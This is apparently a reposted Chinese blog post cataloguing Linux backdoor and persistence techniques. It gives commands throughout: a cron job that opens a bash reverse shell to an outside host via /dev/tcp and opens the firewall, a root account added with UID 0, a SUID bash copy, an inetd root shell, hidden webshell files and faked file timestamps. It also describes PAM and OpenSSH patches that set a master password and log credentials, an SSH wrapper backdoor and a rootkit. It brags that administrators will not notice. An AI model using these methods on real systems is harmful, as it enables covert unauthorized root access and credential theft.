各类后门整理!【白帽黑客必备生存技能】
Unix Bash 遠(yuǎn)控后門
簡(jiǎn)介
利用 Unix/Linux 自帶的 Bash 和 Crond 實(shí)現(xiàn)遠(yuǎn)控功能,保持反彈上線到公網(wǎng)機(jī)器。
利用方法
先創(chuàng)建 /etc/xxxx 腳本文件(名字自己改),利用該腳本進(jìn)行反彈。以下腳本代表全自動(dòng)反彈到 8.8.8.8 的 53 端口。
nano /etc/xxxx
#!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK">/dev/null else /sbin/iptables --policy INPUT ACCEPT /sbin/iptables --policy OUTPUT ACCEPT bash -i >& /dev/tcp/8.8.8.8/53 0>&1 fichmod +sx /etc/xxxx
然后我們需要修改一下 /etc/crontab 讓它定時(shí)執(zhí)行。
nano /etc/crontab???? 在 /etc/crontab 文件末加入這一行。代表每 1 分鐘執(zhí)行一次。
*/1 * * * * root /etc/xxxx
最后重啟一下 crond 的服務(wù)。(不同發(fā)行版重啟方式不一樣,自行查詢)
service cron reload
service cron start
然后在 8.8.8.8 的服務(wù)器上使用 NC 接收 Shell 即可。
nc -vv -lp 53
Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者后門什么的,可以利用一下隱藏文件夾和文件。
方法一
比如創(chuàng)建一個(gè)名字開頭帶 . 的 Webshell 或者文件夾,默認(rèn)情況下是不會(huì)顯示出來(lái)的,瀏覽器訪問(wèn)的時(shí)候加點(diǎn)訪問(wèn)就行。(查看方法:ls -a)
touch .webshell.php??? 創(chuàng)建名字為 .webshell.php 的文件
mkdir .backdoor/?????? 創(chuàng)建名字為 .backdoor 的文件夾
終極方法
在管理員喝多了或者腦子轉(zhuǎn)不過(guò)來(lái)的情況下,是絕對(duì)不會(huì)發(fā)現(xiàn)的!至少我用了這么久是沒(méi)幾個(gè)發(fā)現(xiàn)的。
是文件的話瀏覽器訪問(wèn)直接輸 … 就行,目錄同理。
touch …?????? 創(chuàng)建名字為 … 的文件
mkdir …?????? 創(chuàng)建名字為 … 的文件夾
效果如圖:
?
Linux/Unix 添加 UID 為 0 的用戶
簡(jiǎn)介
在 Unix 體系下,UID 為 0 就是 root 權(quán)限。所以滲透的時(shí)候可以添加一個(gè) UID 為 0 的用戶作為后門。
利用方法
useradd -o -u 0 backdoor
Linux/Unix 修改文件時(shí)間戳簡(jiǎn)介
Unix 下藏后門必須要修改時(shí)間,否則很容易被發(fā)現(xiàn),直接利用 touch 就可以了。
比如參考 index.php 的時(shí)間,再賦給 webshell.php,結(jié)果兩個(gè)文件的時(shí)間就一樣了。
利用方法
touch -r index.php webshell.php
或者直接將時(shí)間戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
系統(tǒng)環(huán)境:
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
SUID shell利用方法
首先, 先切換成為root用戶,并執(zhí)行以下的命令:
dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /.wootdawg:~# ls -al /.woot-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
當(dāng)然, 你也可以起其他更具備隱藏性的名字,我想猥瑣并機(jī)智的你,肯定能想出很多好的名字的。文件前面的那一點(diǎn)也不是必要的,只是為了隱藏文件( 在文件名的最前面加上“.”,就可以在任意文件目錄下進(jìn)行隱藏) .
現(xiàn)在,做為一個(gè)普通用戶,我們來(lái)啟用這個(gè)后門:
fw@dawg:~$ iduid=1000(fw) gid=1000(fw) groups=1000(fw)fw@dawg:~$ /.woot.woot-2.05b$ iduid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
為什么不行呢?
因?yàn)?bash2 針對(duì) suid有一些護(hù)衛(wèi)的措施. 但這也不是不可破的:
.woot-2.05b$ /.woot -p
.woot-2.05b# id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p參數(shù)來(lái)獲取一個(gè)root shell. 這個(gè)euid的意思是 effective user id(關(guān)于這些ID的知識(shí),可以戳這里)
這里要特別注意的是,作為一個(gè)普通用戶執(zhí)行這個(gè)SUID shell時(shí),一定要使用全路徑。
小知識(shí):
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
這時(shí)就會(huì)返回具有SUID位的文件啦。
遠(yuǎn)程后門利用方法
我們使用vi來(lái)修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal[/align] #discard stream tcp nowait root internal#discard dgram udp wait root internal#daytime stream tcp nowait root internal修改為:
#discard stream tcp nowait root internal[/align] #discard dgram udp wait root internaldaytime stream tcp nowait root /bin/bash bash -i開啟inetd:
dawg:~# inetd
如果要強(qiáng)制重啟inetd:
dawg:~# ps -ef | grep inetdroot 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot 13769 13643 0 17:51 pts/1 00:00:00 grep inetddawg:~# kill -HUP 362
現(xiàn)在我們就可以用nc來(lái)爆菊了:
C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
??? (UNKNOWN) [192.168.1.77] 13 (daytime) open
??? bash: no job control in this shell
??? bash-2.05b# bash-2.05b#
??? bash-2.05b# iduid=0(root)
??? gid=0(root) groups=0(root)bash-2.05b# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
可以修改/etc/services文件,加入以下的東西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我們可以修改成一些常見的端口,以實(shí)現(xiàn)隱藏。
PAM后門簡(jiǎn)介
PAM (Pluggable AuthenticationModules )是由Sun提出的一種認(rèn)證機(jī)制。它通過(guò)提供一些動(dòng)態(tài)鏈接庫(kù)和一套統(tǒng)一的API,將系統(tǒng)提供的服務(wù)和該服務(wù)的認(rèn)證方式分開,使得系統(tǒng)管理員可以靈活地根據(jù)需要給不同的服務(wù)配置不同的認(rèn)證方式而無(wú)需更改服務(wù)程序,同時(shí)也便于向系統(tǒng)中添加新的認(rèn)證手段。PAM最初是集成在Solaris中,目前已移植到其它系統(tǒng)中,如Linux、SunOS、HP-UX9.0等。
搭建PAM后門主要思路:pam_unix_auth.c打補(bǔ)丁安裝到正常的PAM模塊中。
利用方法
1、獲取目標(biāo)系統(tǒng)所使用的PAM版本:
? rpm -qa |grep pam
2、編譯安裝PAM
3、將本地pam_unix_auth.c文件通過(guò)打補(bǔ)丁方式,編譯生成。
4、編譯完后的文件在:modules/pam_unix/.libs/pam_unix.so,后門密碼為root123,并會(huì)在/tmp/pslog記錄root登錄密碼。
特點(diǎn):
優(yōu)勢(shì):隱蔽性較強(qiáng),不易被發(fā)現(xiàn)。
劣勢(shì):需要編譯環(huán)境,缺少GCC或其他依賴包容易出現(xiàn)問(wèn)題
openssh后門簡(jiǎn)介
下載新版本的openssh,并下載對(duì)應(yīng)patch包,這個(gè)patch文件包含sshbd5.9p1.diff文件為后門文件,文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h
利用方法
#tar -zxvf openssh-5.9p1.tar.gz
#tar -zxvf 0×06-openssh-5.9p1.patch.tar.gz
vim includes.h?????????????????? //修改后門密碼,記錄文件位置,
/*
#define ILOG “/tmp/ilog”????????????????????? //記錄登錄到本機(jī)的用戶名和密碼
#define OLOG “/tmp/olog”?????????????????? //記錄本機(jī)登錄到遠(yuǎn)程的用戶名和密碼
#define SECRETPW “root123″??? //你后門的密碼
*/優(yōu)勢(shì):隱蔽性較強(qiáng),不易被發(fā)現(xiàn)。
劣勢(shì):需要編譯環(huán)境,缺少GCC或其他依賴包容易出現(xiàn)問(wèn)題。
快速獲得ssh后門簡(jiǎn)介
就會(huì)派生一個(gè)31337端口,然后連接31337,用root/bin/ftp/mail當(dāng)用戶名,密碼隨意,就可登陸。
利用方法
在遠(yuǎn)程主機(jī)上執(zhí)行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就會(huì)派生一個(gè)31337端口,然后連接31337,用root/bin/ftp/mail當(dāng)用戶名,密碼隨意,就可登陸。
特點(diǎn):
優(yōu)勢(shì):隱蔽性較弱,適合短時(shí)間連接。
劣勢(shì):重啟后會(huì)斷開,無(wú)法后彈連接。
SSH wrapper后門簡(jiǎn)介
init首先啟動(dòng)的是/usr/sbin/sshd,腳本執(zhí)行到getpeername這里的時(shí)候,正則匹配會(huì)失敗,于是執(zhí)行下一句,啟動(dòng)/usr/bin/sshd,這是原始sshd。原始的sshd監(jiān)聽端口建立了tcp連接后,會(huì)fork一個(gè)子進(jìn)程處理具體工作。這個(gè)子進(jìn)程,沒(méi)有什么檢驗(yàn),而是直接執(zhí)行系統(tǒng)默認(rèn)的位置的/usr/sbin/sshd,這樣子控制權(quán)又回到腳本了。此時(shí)子進(jìn)程標(biāo)準(zhǔn)輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執(zhí)行sh給個(gè)shell。
利用方法
客戶端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo ‘#!/usr/bin/perl’ >sshd
[root@localhost sbin]# echo ‘exec “/bin/sh” if(getpeername(STDIN) =~ /^..4A/);’ >>sshd
[root@localhost sbin]# echo ‘exec{“/usr/bin/sshd”} “/usr/sbin/sshd”,@ARGV,’ >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特點(diǎn):
優(yōu)勢(shì):隱蔽性較強(qiáng),無(wú)需要編譯,使用于大部分環(huán)境中。
劣勢(shì):需要重啟sshd進(jìn)程。
mafix rootkit創(chuàng)建后門簡(jiǎn)介
Mafix是一款常用的輕量應(yīng)用級(jí)別Rootkits,是通過(guò)偽造ssh協(xié)議漏洞實(shí)現(xiàn)遠(yuǎn)程登陸的特點(diǎn)是配置簡(jiǎn)單并可以自定義驗(yàn)證密碼和端口號(hào)。
利用方法
安裝完成后,使用ssh 用戶@IP -P 配置的端口,即可遠(yuǎn)程登錄。
特點(diǎn):
優(yōu)勢(shì):隱蔽性一般,無(wú)需要編譯。
劣勢(shì):會(huì)替換ls等命令,容易被識(shí)破
轉(zhuǎn)載于:https://www.cnblogs.com/ichunqiu/p/7281401.html
總結(jié)
以上是生活随笔為你收集整理的各类后门整理!【白帽黑客必备生存技能】的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 动态URL是什么?动态URL有什么特点?
- 下一篇: 擦边上100分,我的托福考试总结